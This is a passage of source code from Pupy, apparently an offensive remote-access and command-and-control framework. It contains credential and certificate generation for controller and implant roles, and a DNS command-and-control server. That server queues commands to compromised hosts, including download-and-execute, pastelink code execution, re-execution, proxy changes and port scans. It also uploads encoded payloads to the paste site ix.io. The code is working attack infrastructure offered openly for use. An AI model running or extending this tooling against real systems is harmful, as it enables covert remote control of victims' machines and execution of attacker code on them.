    cert.set_subject(cert.get_issuer())
    cert.set_pubkey(pk)

    cert.add_ext(
        X509.new_extension('basicConstraints', 'CA:TRUE')
    )
    cert.add_ext(
        X509.new_extension(
            'subjectKeyIdentifier', gen_identifier(cert))
    )
    cert.sign(pk, 'sha256')

    return pk.as_pem(cipher=None), cert.as_pem(), pk, cert


def _generate_ssl_keypair(
    rsa_key, ca_key, ca_cert, role='CONTROL',
        client=False, serial=2):

    t = long(time.time())
    now = ASN1.ASN1_UTCTIME()
    now.set_time(t)
    expire = ASN1.ASN1_UTCTIME()
    expire.set_time(t + 365 * 24 * 60 * 60 * 3)

    pk = EVP.PKey()
    pk.assign_rsa(rsa_key)

    cert = X509.X509()
    cert.get_subject().O = _generate_id(10) # noqa
    cert.get_subject().OU = role
    cert.set_serial_number(serial)
    cert.set_version(3)
    cert.set_not_before(now)
    cert.set_not_after(expire)
    cert.set_issuer(ca_cert.get_subject())
    cert.set_pubkey(pk)
    cert.add_ext(
        X509.new_extension('basicConstraints', 'critical,CA:FALSE')
    )
    cert.add_ext(
        X509.new_extension(
            'subjectKeyIdentifier', gen_identifier(cert)
        )
    )

    if client:
        cert.add_ext(
            X509.new_extension('keyUsage', 'critical,digitalSignature')
        )
        cert.add_ext(
            X509.new_extension('nsCertType', 'client')
        )
    else:
        cert.add_ext(
            X509.new_extension('keyUsage', 'critical,keyEncipherment')
        )
        cert.add_ext(
            X509.new_extension('nsCertType', 'server')
        )

    cert.sign(ca_key, 'sha256')

    return pk.as_pem(cipher=None), cert.as_pem()


def _generate_ecpv_keypair_bp384():
    return _generate_ecpv_keypair(curve='brainpoolP384r1')


def _generate_rsa_keypair_4096():
    priv, pub, _ = _generate_rsa_keypair(bits=4096)
    return priv, pub


def _generate_path_secret():
    return {
        'PATH_GEN_SECRET': _generate_password(20)
    }

def _generate_bind_payloads_password():
    return {
        'BIND_PAYLOADS_PASSWORD': _generate_password(20)
    }


def _generate_ecpv_rc4():
    CONTROL_ECPV_RC4_PRIVATE_KEY, CONTROL_ECPV_RC4_PUBLIC_KEY = \
        _generate_ecpv_keypair_bp384()

    CLIENT_ECPV_RC4_PRIVATE_KEY, CLIENT_ECPV_RC4_PUBLIC_KEY = \
        _generate_ecpv_keypair_bp384()

    return {
        'CONTROL_ECPV_RC4_PRIVATE_KEY': CONTROL_ECPV_RC4_PRIVATE_KEY,
        'CONTROL_ECPV_RC4_PUBLIC_KEY': CONTROL_ECPV_RC4_PUBLIC_KEY,
        'CLIENT_ECPV_RC4_PRIVATE_KEY': CLIENT_ECPV_RC4_PRIVATE_KEY,
        'CLIENT_ECPV_RC4_PUBLIC_KEY': CLIENT_ECPV_RC4_PUBLIC_KEY,
    }


def _generate_rsa_keys():
    CONTROL_RSA_PRIVATE_KEY, CONTROL_RSA_PUBLIC_KEY, _ = \
        _generate_rsa_keypair()
    CLIENT_RSA_PRIVATE_KEY, CLIENT_RSA_PUBLIC_KEY, _ = \
        _generate_rsa_keypair()

    return {
        'CONTROL_RSA_PUB_KEY': CONTROL_RSA_PUBLIC_KEY,
        'CLIENT_RSA_PUB_KEY': CLIENT_RSA_PUBLIC_KEY,
        'CONTROL_RSA_PRIV_KEY': CONTROL_RSA_PRIVATE_KEY,
        'CLIENT_RSA_PRIV_KEY': CLIENT_RSA_PRIVATE_KEY,
    }


def _generate_dnscnc_v1_keys():
    ECPV_PRIVATE_KEY, ECPV_PUBLIC_KEY = _generate_ecpv_keypair()

    return {
        'CONTROL_DNSCNC_PRIV_KEY': ECPV_PRIVATE_KEY,
        'CLIENT_DNSCNC_PUB_KEY': ECPV_PUBLIC_KEY,
    }


def _generate_dnscnc_v2_keys():
    ECPV_PRIVATE_KEY_V2, ECPV_PUBLIC_KEY_V2 = _generate_ecpv_keypair(
        curve='brainpoolP224r1')

    return {
        'CONTROL_DNSCNC_PRIV_KEY_V2': ECPV_PRIVATE_KEY_V2,
        'CLIENT_DNSCNC_PUB_KEY_V2': ECPV_PUBLIC_KEY_V2,
    }


def _generate_simple_rsa_keys():
    RSA_PRIVATE_KEY_1, RSA_PUBLIC_KEY_1 = _generate_rsa_keypair_4096()
    RSA_PRIVATE_KEY_2, RSA_PUBLIC_KEY_2 = _generate_rsa_keypair_4096()

    return {
        'CONTROL_SIMPLE_RSA_PRIV_KEY': RSA_PRIVATE_KEY_1,
        'CLIENT_SIMPLE_RSA_PUB_KEY': RSA_PUBLIC_KEY_1,
        'CLIENT_SIMPLE_RSA_PRIV_KEY': RSA_PRIVATE_KEY_2,
        'CONTROL_SIMPLE_RSA_PUB_KEY': RSA_PUBLIC_KEY_2,
    }

def gen_identifier(cert, dig='sha256'):
    instr = cert.get_pubkey().get_rsa().as_pem()
    h = hashlib.new(dig)
    h.update(instr)
    digest = h.hexdigest().upper()

    return ":".join(digest[pos: pos + 2] for pos in range(0, 40, 2))

def _generate_apk_keypair():
    priv, pub, key = _generate_rsa_keypair(2048)

    t = long(time.time())
    now = ASN1.ASN1_UTCTIME()
    now.set_time(t)
    expire = ASN1.ASN1_UTCTIME()
    expire.set_time(t + 365 * 24 * 60 * 60 * 5)

    pk = EVP.PKey()
    pk.assign_rsa(key)

    cert = X509.X509()
    cert.get_subject().O = _generate_id(10) # noqa
    cert.set_serial_number(1337)
    cert.set_version(2)
    cert.set_not_before(now)
    cert.set_not_after(expire)
    cert.set_pubkey(pk)
    cert.set_issuer(cert.get_subject())
    cert.add_ext(X509.new_extension('subjectKeyIdentifier', gen_identifier(cert)))
    cert.sign(pk, 'sha256')

    return {
        'CONTROL_APK_PRIV_KEY': pk.as_pem(cipher=None),
        'CONTROL_APK_PUB_KEY': cert.as_pem(),
    }

def _generate_pki_ssl_keys():
    SSL_CA_PRIVATE_KEY, SSL_CA_CERTIFICATE, CAKEY, CACERT = \
        _generate_ssl_ca()

    _, _, KEY1 = _generate_rsa_keypair()
    _, _, KEY2 = _generate_rsa_keypair()
    _, _, KEY3 = _generate_rsa_keypair()
    _, _, KEY4 = _generate_rsa_keypair()

    CONTROL_SSL_BIND_KEY, CONTROL_SSL_BIND_CERTIFICATE = \
        _generate_ssl_keypair(KEY1, CAKEY, CACERT)
    CLIENT_SSL_BIND_KEY, CLIENT_SSL_BIND_CERTIFICATE = \
        _generate_ssl_keypair(
            KEY2, CAKEY, CACERT, role='CLIENT', serial=3
        )

    CONTROL_SSL_CLIENT_KEY, CONTROL_SSL_CLIENT_CERTIFICATE = \
        _generate_ssl_keypair(
            KEY3, CAKEY, CACERT, client=True, serial=4
        )
    CLIENT_SSL_CLIENT_KEY, CLIENT_SSL_CLIENT_CERTIFICATE = \
        _generate_ssl_keypair(
            KEY4, CAKEY, CACERT, role='CLIENT', client=True, serial=5
        )

    return {
        'SSL_CA_CERT': SSL_CA_CERTIFICATE,
        'SSL_CA_KEY': SSL_CA_PRIVATE_KEY,
        'CONTROL_SSL_BIND_KEY': CONTROL_SSL_BIND_KEY,
        'CLIENT_SSL_BIND_KEY': CLIENT_SSL_BIND_KEY,
        'CONTROL_SSL_BIND_CERT': CONTROL_SSL_BIND_CERTIFICATE,
        'CLIENT_SSL_BIND_CERT': CLIENT_SSL_BIND_CERTIFICATE,
        'CONTROL_SSL_CLIENT_CERT': CONTROL_SSL_CLIENT_CERTIFICATE,
        'CLIENT_SSL_CLIENT_CERT': CLIENT_SSL_CLIENT_CERTIFICATE,
        'CONTROL_SSL_CLIENT_KEY': CONTROL_SSL_CLIENT_KEY,
        'CLIENT_SSL_CLIENT_KEY': CLIENT_SSL_CLIENT_KEY,
    }


class Credentials(object):
    GENERATORS = {
        # path secret used to generate random path that do not change between each pupysh run
        'PATH_GEN_SECRET': _generate_path_secret,
        'BIND_PAYLOADS_PASSWORD': _generate_bind_payloads_password,
        'CONTROL_ECPV_RC4_PRIVATE_KEY': _generate_ecpv_rc4,
        'CONTROL_ECPV_RC4_PUBLIC_KEY': _generate_ecpv_rc4,
        'CLIENT_ECPV_RC4_PRIVATE_KEY': _generate_ecpv_rc4,
        'CLIENT_ECPV_RC4_PUBLIC_KEY': _generate_ecpv_rc4,
        'CONTROL_RSA_PUB_KEY': _generate_rsa_keys,
        'CLIENT_RSA_PUB_KEY': _generate_rsa_keys,
        'CONTROL_RSA_PRIV_KEY': _generate_rsa_keys,
        'CLIENT_RSA_PRIV_KEY': _generate_rsa_keys,
        'CONTROL_DNSCNC_PRIV_KEY': _generate_dnscnc_v1_keys,
        'CLIENT_DNSCNC_PUB_KEY': _generate_dnscnc_v1_keys,
        'CONTROL_DNSCNC_PRIV_KEY_V2': _generate_dnscnc_v2_keys,
        'CLIENT_DNSCNC_PUB_KEY_V2': _generate_dnscnc_v2_keys,
        'CONTROL_SIMPLE_RSA_PRIV_KEY': _generate_simple_rsa_keys,
        'CLIENT_SIMPLE_RSA_PUB_KEY': _generate_simple_rsa_keys,
        'CLIENT_SIMPLE_RSA_PRIV_KEY': _generate_simple_rsa_keys,
        'CONTROL_SIMPLE_RSA_PUB_KEY': _generate_simple_rsa_keys,
        #'CONTROL_APK_PRIV_KEY': _generate_apk_keypair,
        #'CONTROL_APK_PUB_KEY': _generate_apk_keypair,
        'SSL_CA_CERT': _generate_pki_ssl_keys,
        'SSL_CA_KEY': _generate_pki_ssl_keys,
        'CONTROL_SSL_BIND_KEY': _generate_pki_ssl_keys,
        'CLIENT_SSL_BIND_KEY': _generate_pki_ssl_keys,
        'CONTROL_SSL_BIND_CERT': _generate_pki_ssl_keys,
        'CLIENT_SSL_BIND_CERT': _generate_pki_ssl_keys,
        'CONTROL_SSL_CLIENT_CERT': _generate_pki_ssl_keys,
        'CLIENT_SSL_CLIENT_CERT': _generate_pki_ssl_keys,
        'CONTROL_SSL_CLIENT_KEY': _generate_pki_ssl_keys,
        'CLIENT_SSL_CLIENT_KEY': _generate_pki_ssl_keys,
    }

    def __init__(self, role=None, password=None, config=None, validate=False):
        config = config or PupyConfig()

        self._configfile = path.join(
            config.get_folder('crypto'), 'credentials.py'
        )
        self._credentials = {}
        self._config = config
        self._encrypted = True

        role = role or DEFAULT_ROLE
        self.role = role.upper() if role else 'ANY'

        if self.role not in ('CONTROL', 'CLIENT'):
            raise ValueError('Unsupported role: {}'.format(self.role))

        self._load(password)
        if validate:
            self._generate(password)

    def _generate(self, password):
        required_generators = set()

        for cred in Credentials.GENERATORS:
            generator = Credentials.GENERATORS[cred]
            if cred not in self._credentials:
                required_generators.add(generator)
                logger.warning(
                    'Credential "%s" is missing and will be generated', cred
                )
            elif b'BEGIN CERTIFICATE' in self._credentials[cred]:
                cert = X509.load_cert_string(self._credentials[cred])
                expiration = cert.get_not_after().get_datetime()
                now = datetime.now(expiration.tzinfo)
                diff = (expiration - now).days

                if expiration <= now:
                    logger.error(
                        'Credential "%s" is expired! '
                        'All related credentials will be regenerated',
                        cred
                    )

                    required_generators.add(generator)
                elif diff < 7:
                    logger.error('%s will expire in %d days', cred, diff)
                elif diff < 90:
                    logger.warning('%s will expire in %d days', cred, diff)
                else:
                    logger.debug(
                        'Credential "%s" will expire in %d days', cred, diff
                    )
            else:
                logger.debug('Credential "%s" exists', cred)

        for generator in required_generators:
            new_creds = generator()
            self._credentials.update(new_creds)

        updated = bool(required_generators)

        if updated:
            self.save(password)

        return updated

    def save(self, password=None):
        logger.warning('Saving credentials to %s', self._configfile)

        try:
            creds_dir = path.dirname(self._configfile)
            if not path.isdir(creds_dir):
                makedirs(creds_dir)
        except OSError as e:
            if not e.errno == errno.EEXIST:
                raise

        backup = None

        if path.isfile(self._configfile):
            with open(self._configfile) as user_config:
                backup = user_config.read()

        try:
            with open(self._configfile, 'wb') as user_config:
                chmod(self._configfile, 0o600)

                content = json.dumps(
                    {
                        key: value.decode('latin1') if isinstance(
                            value, bytes
                        ) else value
                        for key, value in self._credentials.items()
                    },
                    sort_keys=True, indent=2
                ).encode('latin1')

                if self._encrypted and ENCRYPTOR and password:
                    encryptor = ENCRYPTOR(password=password)
                    encryptor.encrypt(BytesIO(content), user_config)
                else:
                    user_config.write(content)

        except Exception:
            if backup:
                with open(self._configfile, 'wb') as user_config:
                    user_config.write(backup)

            raise

    def _load(self, password):
        if path.exists(self._configfile):
            with open(self._configfile, 'rb') as creds:
                logger.info('Reading credentials from %s', self._configfile)

                content = creds.read()
                if not content:
                    logger.error(
                        'Credentials storage (%s) is empty', self._configfile
                    )
                    return

                if content.startswith(b'Salted__'):
                    if not ENCRYPTOR:
                        raise EncryptionError(
                            'Encrpyted credential storage: {}'.format(
                                self._configfile
                            )
                        )

                    fcontent = BytesIO()
                    encryptor = ENCRYPTOR(
                        password=password,
                        config=self._config
                    )

                    try:
                        encryptor.decrypt(BytesIO(content), fcontent)
                    except Exception as e:
                        raise EncryptionError(
                            'Invalid password or corrupted data '
                            '({}).\n{}'.format(e, HELP_RESET_MSG)
                        )

                    content = fcontent.getvalue()
                else:
                    self._encrypted = False

                if content.startswith(b'{'):
                    credentials_dict = json.loads(content)
                    self._credentials = {
                        k: credentials_dict[k].encode('latin1')
                        for k in credentials_dict
                    }
                else:
                    exec(content, self._credentials)
                    for key in tuple(self._credentials):
                        if key.startswith('_'):
                            del self._credentials[key]

                    self.save(password)

    def __getitem__(self, key):
        env = globals()

        if key in self._credentials:
            return self._credentials[key]
        elif '{}_{}'.format(self.role, key) in self._credentials:
            return self._credentials['{}_{}'.format(self.role, key)]
        elif key in env:
            return env[key]
        elif 'DEFAULT_{}'.format(key) in env:
            logger.warning("Using default credentials for %s", key)
            return env['DEFAULT_{}'.format(key)]
        else:
            return None

    def __setitem__(self, key, value):
        self._credentials[key] = value

    def __iter__(self):
        return iter(self._credentials)


if __name__ == '__main__':
    credentials = Credentials()
    credentials._generate(force=True)


================================================
FILE: pupy/pupylib/PupyDnsCnc.py
================================================
# -*- coding: utf-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import logging

from .PupyCredentials import Credentials
from pupy.network.lib.picocmd.server import (
    DnsCommandServerHandler, DnsCommandServer, SessionDependedCommand
)
from pupy.network.lib.picocmd.picocmd import (
    OnlineStatusRequest, CheckConnect, Connect, ConnectEx,
    RegisterHostnameId, Disconnect,
    Reexec, Sleep, Exit, SetProxy, DownloadExec, PasteLink,
    UnregisteredTargetId
)

from pupy.pupylib.PupyConfig import PupyConfig
from pupy.pupylib.utils.listener import get_listener_ip_with_local, get_listener_port

import requests
import netaddr

if sys.version_info.major > 2:
    from urllib.parse import urlparse

    basestring = str
else:
    from urlparse import urlparse

from io import open
from os import path

from .PupyTriggers import event
from .PupyTriggers import (
    ON_DNSCNC_SESSION, ON_DNSCNC_SESSION_LOST,
    ON_DNSCNC_EGRESS_PORTS, ON_DNSCNC_HIGH_RESOURCE_USAGE,
    ON_DNSCNC_PSTORE, ON_DNSCNC_USER_ACTIVE,
    ON_DNSCNC_USER_INACTIVE, ON_DNSCNC_USERS_INCREMENT,
    ON_DNSCNC_USERS_DECREMENT, ON_DNSCNC_ONLINE_STATUS,
    CUSTOM
)


class PupyDnsActivationHandler(object):
    __slots__ = ('config',)

    def __init__(self, config):
        self.config = config

    def __contains__(self, seed):
        return bool(self.__getitem__(seed))

    def __getitem__(self, seed):
        return self.config.get('activations', seed)


class PupyDnsCommandServerHandler(DnsCommandServerHandler):
    def __init__(self, *args, **kwargs):
        if 'config' in kwargs:
            self.config = kwargs.pop('config')
        else:
            self.config = None

        if 'server' in kwargs:
            self.server = kwargs.pop('server')
        else:
            self.server = None

        if 'whitelist' not in kwargs and self.config:
            kwargs['whitelist'] = self._whitelist

        if self.config:
            kwargs['activation'] = PupyDnsActivationHandler(
                self.config)

        DnsCommandServerHandler.__init__(self, *args, **kwargs)

    def _kex_is_disabled(self, node):
        if node is None:
            return False

        nodeid = node.node
        kex_disabled = self.config.get('dnscnc', 'kex_disabled')
        if not kex_disabled:
            return False

        for disabled in kex_disabled.split(','):
            disabled = disabled.strip()

            try:
                disabled = int(disabled, 16)
                if disabled == nodeid:
                    return True

            except ValueError:
                for tagged in self.config.by_tags(disabled):
                    tagged = int(tagged, 16)
                    if tagged == nodeid:
                        return True

        return False


    def _whitelist(self, nodeid, cid, version):
        if not self.config.getboolean('dnscnc', 'whitelist'):
            return True

        if version == 1 and not self.config.getboolean('dnscnc', 'allow_v1'):
            return False

        if not cid or not nodeid:
            return self.config.getboolean('dnscnc', 'allow_by_default')

        nodeid = '{:012x}'.format(nodeid)
        cid = '{:016x}'.format(cid)

        allowed_nodes = self.config.get('cids', cid)
        if not allowed_nodes:
            if self.config.getboolean('dnscnc', 'allow_by_default'):
                return True
            return False

        return nodeid in set([x.strip().lower() for x in allowed_nodes.split(',')])

    def on_new_session(self, session):
        event(
            ON_DNSCNC_SESSION, session,
            self.server.pupsrv,
            sid=session.spi, node=session.node)

    def on_session_cleaned_up(self, session):
        event(ON_DNSCNC_SESSION_LOST,
              session, self.server.pupsrv,
              sid=session.spi, node=session.node)

    def on_online_status(self, session):
        event(ON_DNSCNC_ONLINE_STATUS, session,
              self.server.pupsrv, sid=session.spi, node=session.node,
              **session.online_status)

    def on_egress_ports(self, session):
        event(ON_DNSCNC_EGRESS_PORTS, session,
              self.server.pupsrv, sid=session.spi, node=session.node,
              ports=session.egress_ports)

    def on_pstore(self, session):
        event(ON_DNSCNC_PSTORE, session,
              self.server.pupsrv, sid=session.spi, node=session.node)

    def on_user_become_active(self, session):
        event(ON_DNSCNC_USER_ACTIVE, session,
              self.server.pupsrv, sid=session.spi, node=session.node)

    def on_user_become_inactive(self, session):
        event(ON_DNSCNC_USER_INACTIVE, session,
              self.server.pupsrv, sid=session.spi, node=session.node)

    def on_users_increment(self, session):
        event(ON_DNSCNC_USERS_INCREMENT, session,
              self.server.pupsrv, sid=session.spi, node=session.node,
              count=session.system_status['users'])

    def on_users_decrement(self, session):
        event(ON_DNSCNC_USERS_DECREMENT, session,
              self.server.pupsrv, sid=session.spi, node=session.node,
              count=session.system_status['users'])

    def on_high_resource_usage(self, session):
        event(ON_DNSCNC_HIGH_RESOURCE_USAGE, session,
              self.server.pupsrv, sid=session.spi, node=session.node,
              mem=session.system_status['mem'],
              cpu=session.system_status['cpu'])

    def on_custom_event(self, eventid, session, node):
        if eventid & CUSTOM != CUSTOM:
            return

        if session:
            event(eventid, session,
                self.server.pupsrv, sid=session.spi, node=session.node)
        elif node:
            event(eventid, None,
                self.server.pupsrv, sid=None, node=node)
        else:
            event(eventid, None,
                self.server.pupsrv, sid=None, node=None)

    def onlinestatus(self, node=None, default=False):
        return self.add_command(
            OnlineStatusRequest(), session=node, default=default)

    def scan(self, host, first, last, node=None, default=False):
        return self.add_command(
            CheckConnect(host, first, last), session=node, default=default)

    def connect(self, address, port, transport, hostname, node=None, default=False):
        def connect_ex(session):
            if not session.system_info_version >= 1:
                return

            commands = []
            conn_address = None
            host_target_id = None

            try:
                conn_address = netaddr.IPAddress(address)

                if hostname is not None and hostname != address:
                    raise NotImplementedError(
                        'Fronting with IP address as main target are not supported'
                    )

            except netaddr.core.AddrFormatError:
                try:
                    target_id = session.registered_hosts.get_target_id(address)
                except UnregisteredTargetId:
                    target_id = session.registered_hosts.register(address)
                    commands.append(RegisterHostnameId(target_id, address))

                if hostname is not None and hostname != address:
                    try:
                        host_target_id = session.registered_hosts.get_target_id(hostname)
                    except UnregisteredTargetId:
                        host_target_id = session.registered_hosts.register(hostname)
                        commands.append(RegisterHostnameId(host_target_id, hostname))

                conn_address = target_id

            commands.append(ConnectEx(conn_address, port, transport, host_target_id))
            return commands

        command = SessionDependedCommand(
            Connect(address, port, transport),
            connect_ex
        )

        return self.add_command(command, session=node, default=default)

    def disconnect(self, node=None, default=False):
        return self.add_command(Disconnect(), session=node, default=default)

    def reexec(self, node=None, default=False):
        return self.add_command(Reexec(), session=node, default=default)

    def sleep(self, timeout, node=None, default=False):
        return self.add_command(Sleep(timeout), session=node, default=default)

    def exit(self, node=None, default=False):
        return self.add_command(Exit(), session=node, default=default)

    def proxy(self, uri, node=None, default=False):
        if not uri or uri.lower() in ('none', 'off', 'no', 'disable'):
            return self.add_command(
                SetProxy('none', '0.0.0.0', 0),
                session=node, default=default
            )
        elif uri.lower() in ('on', 'enable', 'yes'):
            return self.add_command(
                SetProxy('any', '0.0.0.0', 0),
                session=node, default=default
            )

        if '://' not in uri:
            uri = 'http://' + uri

        parsed = urlparse(uri)
        return self.add_command(
            SetProxy(
                parsed.scheme,
                parsed.hostname,
                parsed.port or 3128,
                user=parsed.username,
                password=parsed.password
            ),
            session=node, default=default
        )

    def dexec(self, url, action, proxy=False, node=None, default=None):
        return self.add_command(
            DownloadExec(url, action=action, proxy=proxy),
            session=node, default=default
        )

    def pastelink(self, url, action, node=None, default=None):
        return self.add_command(
            PasteLink(url, action=action),
            session=node, default=default
        )

    def find_nodes(self, node):
        if not node:
            return self.nodes.values()

        results = []

        if isinstance(node, basestring):
            nodes = []

            for n in node.split(','):
                try:
                    int(n, 16)
                    nodes.append(n)
                except:
                    for tagged in self.config.by_tags(n):
                        nodes.append(tagged)

                    if nodes:
                        results = super(PupyDnsCommandServerHandler, self).find_nodes(
                            ','.join(nodes))

        return results

    def find_sessions(self, spi=None, node=None):
        if spi or node:
            results = []
            if self.config and node:
                if isinstance(node, basestring):
                    nodes = []
                    for n in node.split(','):
                        try:
                            netaddr.IPAddress(n)
                            nodes.append(n)
                        except:
                            try:
                                int(n, 16)
                                nodes.append(n)
                            except:
                                for tagged in self.config.by_tags(n):
                                    nodes.append(tagged)

                    if nodes:
                        results = super(PupyDnsCommandServerHandler, self).find_sessions(
                            node=','.join(nodes))
                    else:
                        results = []

            if spi:
                if isinstance(spi, basestring):
                    spis = []
                    for s in spi.split(','):
                        try:
                            int(s, 16)
                            spis.append(s)
                        except:
                            pass

                    if spis:
                        results += super(PupyDnsCommandServerHandler, self).find_sessions(
                            spi=','.join(spis))
        else:
            results = super(PupyDnsCommandServerHandler, self).find_sessions()

        return results


class PupyDnsCnc(object):
    def __init__(
            self, igd=None,
            recursor=None,
            config=None,
            credentials=None,
            listeners=None,
            cmdhandler=None,
            server=None,
            pproxy=None
        ):

        credentials = credentials or Credentials()
        config = config or PupyConfig()

        self.config = config
        self.credentials = credentials
        self.igd = igd
        self.listeners = listeners
        self.handler = cmdhandler
        self.pproxy = pproxy
        self.pupsrv = server

        fdqn = self.config.get('pupyd', 'dnscnc').split(':')
        domain = fdqn[0]
        if len(fdqn) > 1:
            port = int(fdqn[1])
        else:
            port = 53

        listen = str(config.get('pupyd', 'address') or '0.0.0.0')

        recursor = config.get('pupyd', 'recursor')
        if recursor and recursor.lower() in ('no', 'false', 'stop', 'n', 'disable'):
            recursor = None

        self.dns_domain = domain
        self.dns_port = port
        self.dns_listen = listen
        self.dns_recursor = recursor
        self.dns_handler = PupyDnsCommandServerHandler(
            domain, (
                credentials['DNSCNC_PRIV_KEY'],
                credentials['DNSCNC_PRIV_KEY_V2']
            ),
            recursor=recursor,
            config=self.config,
            server=self
        )

        if self.pproxy:
            try:
                self.server = self.pproxy.dns(self.dns_handler, domain)
            except Exception as e:
                logging.exception(e)
        else:
            self.server = DnsCommandServer(
                self.dns_handler,
                address=listen,
                port=int(port)
            )

            if self.igd and self.igd.available:
                self.igd.AddPortMapping(53, 'UDP', int(port))
                self.igd.AddPortMapping(53, 'TCP', int(port))

        self.server.start()

    def stop(self):
        self.server.stop()

    def list(self, node=None):
        return self.dns_handler.find_sessions(node=node) \
          or self.dns_handler.find_sessions(spi=node)

    def nodes(self, node):
        return self.dns_handler.find_nodes(node)

    def connect(self, host, port, transport, hostname=None, node=None, default=False):
        if port:
            port = int(port)

        if not all([host, port, transport]):
            listeners = self.listeners()
            if not listeners:
                raise ValueError(
                    'No active listeners. Host, port and transport shoul be explicitly specified')

            listener = None
            local = False

            if transport:
                listener = listeners.get(transport)
                if not listener:
                    raise ValueError('Listener for transport {} not found'.format(transport))

            else:
                for candidate in listeners.itervalues():
                    if not candidate.local or (port and (
                            candidate.port == port or candidate.external_port == port)):
                        listener = candidate
                        break

                if not listener:
                    listener = next(iter(listeners.values()))
                    if listener.port == 0:
                        local = False
                    else:
                        local = True

            if not listener:
                raise ValueError('No listeners found')

            if local:
                _port = get_listener_port(self.config, external=True)
                _host, local = get_listener_ip_with_local(
                    config=self.config, external=True, igd=self.igd)

                if local:
                    raise ValueError(
                        'External host:port not found. '
                        'Please explicitly specify either port or host, port and transport.')

                host = host or _host
                port = port or _port
                transport = listener.name
            else:
                host = host or listener.external
                port = port or listener.external_port
                transport = listener.name

            if self.cmdhandler:
                self.cmdhandler.display_success('Connect: Transport: {} Host: {} Port: {}'.format(
                    transport, host, port))

        return self.dns_handler.connect(
            host, port, transport, hostname,
            node=node,
            default=default
        )

    def scan(self, *args, **kwargs):
        return self.dns_handler.scan(*args, **kwargs)

    def onlinestatus(self, **kwargs):
        return self.dns_handler.onlinestatus(**kwargs)

    def disconnect(self, **kwargs):
        return self.dns_handler.disconnect(**kwargs)

    def exit(self, **kwargs):
        return self.dns_handler.exit(**kwargs)

    def sleep(self, *args, **kwargs):
        return self.dns_handler.sleep(*args, **kwargs)

    def reexec(self, **kwargs):
        return self.dns_handler.reexec(**kwargs)

    def reset(self, **kwargs):
        return self.dns_handler.reset_commands(**kwargs)

    def dexec(self, *args, **kwargs):
        return self.dns_handler.dexec(*args, **kwargs)

    def proxy(self, *args, **kwargs):
        return self.dns_handler.proxy(*args, **kwargs)

    def pastelink(self, content=None, output=None, url=None,
                  action='pyexec', node=None, default=False, legacy=False):

        if not (content or url):
            raise ValueError('content and url and output args are empty')

        if content and url:
            raise ValueError('both content and url are selected')

        if content:
            content_path = path.expanduser(path.expandvars(content))
            if not path.exists(content_path):
                raise ValueError('no such file: {}'.format(content_path))

            payload = b''
            # TODO: add more providers
            with open(content_path, 'rb') as content:
                payload = self.dns_handler.encode_pastelink_content(
                    content.read(), self.dns_handler.ENCODER_V1 \
                    if legacy else self.dns_handler.ENCODER_V2)

            if not output:
                response = requests.post('http://ix.io', data={'f:1':payload})
                if response.ok:
                    url = response.content.strip()

                    if not url:
                        raise ValueError('couldn\'t create pastelink url')
            else:
                with open(output, 'wb') as output_file:
                    output_file.write(payload)


        if self.cmdhandler:
            self.cmdhandler.display_success('Pastelink: {} Action: {} Legacy: {}'.format(
                'file: {}'.format(output) if output else 'url: {}'.format(url),
                action, legacy))

        count = 0
        if not output:
            count = self.dns_handler.pastelink(url, action, node=node, default=default)

        return count, url

    @property
    def policy(self):
        return {
            'interval': self.dns_handler.interval,
            'timeout': self.dns_handler.timeout,
            'kex': self.dns_handler.kex,
        }

    def set_policy(self, *args, **kwargs):
        return self.dns_handler.set_policy(*args, **kwargs)

    @property
    def dirty(self):
        count = 0
        for session in self.dns_handler.find_sessions():
            if session.commands:
                count += 1
        return count

    @property
    def count(self):
        return len(self.dns_handler.sessions)

    @property
    def commands(self):
        return self.dns_handler.commands

    @property
    def node_commands(self):
        return self.dns_handler.node_commands


================================================
FILE: pupy/pupylib/PupyErrors.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals
class PupyModuleExit(BaseException):
    pass

class PupyModuleError(BaseException):
    pass

class PupyModuleUsageError(BaseException):
    pass

class PupyModuleDisabled(ValueError):
    pass

class PupyModuleNotFound(ValueError):
    pass


================================================
FILE: pupy/pupylib/PupyJob.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
